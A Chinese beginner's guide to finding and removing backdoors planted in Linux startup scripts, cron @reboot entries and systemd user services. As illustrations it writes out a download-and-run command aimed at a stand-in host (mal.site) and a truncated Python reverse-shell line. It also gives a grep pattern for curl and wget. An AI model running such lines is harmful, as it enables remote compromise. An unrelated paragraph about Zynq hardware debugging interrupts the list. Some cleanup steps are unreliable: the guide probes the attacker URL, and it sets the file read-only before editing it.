新手排查启动脚本后门的关键是理清“谁在开机时自动运行”,重点检查/etc/profile、/etc/bash.bashrc、/root/.bashrc等5类启动脚本位置,用grep -rE "(curl|wget|python[23]?|sh -c|nohup|&)"快速筛出可疑网络请求或后台执行代码,并结合crontab、systemd用户服务命令验证自启项。

新手排查启动脚本中的后门,关键不是逐行背命令,而是建立“谁在开机时自动运行”的清晰路径。Linux 启动过程有多个可被篡改的入口,攻击者常选最易下手、最难察觉的位置——用户级和系统级启动脚本。下面按排查优先级和实操性分三块说明。
重点检查这5类启动脚本位置
这些地方一旦被写入恶意命令,只要用户登录或系统重启,后门就自动激活:
Zynq‑7000 / Zynq UltraScale+ 硬件调试技能。适用于 Xilinx Zynq(Cortex‑A9/A53 + FPGA)Linux 环境,调试 I2C、I2S、UART、GPIO 等外设。包括设备树配置、内核驱动、用户空间调试工具、交叉编译和常见问题排查,支持 PetaLinux 开发。
-
/etc/profile、/etc/bash.bashrc:所有用户登录时都会读取,全局生效。攻击者常在这里加一行
wget -qO- http://mal.site/sh | sh类命令 -
/root/.bashrc、/root/.bash_profile、/root/.profile:root 用户专属,隐蔽性强。尤其注意末尾是否有
nohup python3 -c 'import socket...' &这类反向 shell -
/etc/rc.local:传统开机自启脚本(systemd 系统中需确保
systemctl is-enabled rc-local返回 enabled)。常见后门写法:/tmp/.a.out &或直接执行 base64 编码的 payload -
/etc/crontab 和 /etc/cron.d/ 下文件:用
@reboot触发的定时任务,例如:@reboot root /usr/local/bin/update.sh,而 update.sh 实际是下载木马的脚本 -
systemd 用户服务:容易被忽略,如
~/.config/systemd/user/*.service,用systemctl --user list-unit-files --type=service查看是否启用异常服务
用几条命令快速筛出可疑内容
不用手动翻几十个文件,用组合命令定位高风险线索:
- 查所有启动脚本里含网络请求或后台执行的关键字:
grep -rE "(curl|wget|python[23]?|sh -c|nohup|&)" /etc/profile* /etc/bash* /root/.bash* /etc/rc.local 2>/dev/null - 列出所有 @reboot 定时任务:
crontab -l 2>/dev/null; cat /etc/crontab 2>/dev/null | grep "@reboot"; ls /etc/cron.d/ 2>/dev/null | xargs -I{} sh -c 'echo {} && cat /etc/cron.d/{} 2>/dev/null | grep "@reboot"' - 检查 systemd 用户级自启项是否启用异常服务:
systemctl --user list-unit-files --type=service --state=enabled 2>/dev/null | grep -v "disabled\|static"
确认后门后怎么安全清理
发现可疑代码,别直接删——先确认它是否正在运行,再阻断、再清除:
- 如果脚本里调用了某个远程地址,先用
curl -I http://mal.site/sh看是否还能访问,避免误删正常更新逻辑 - 若已知某行命令会拉起进程(如
python3 -c '...' &),用ps aux | grep python3 | grep -v grep确认是否真在跑 - 清理前给原文件加只读保护,防止被覆盖:
chattr +i /etc/rc.local(清理完再chattr -i) - 删掉可疑行后,用
source /etc/profile或重新登录测试是否还触发,验证清理效果

















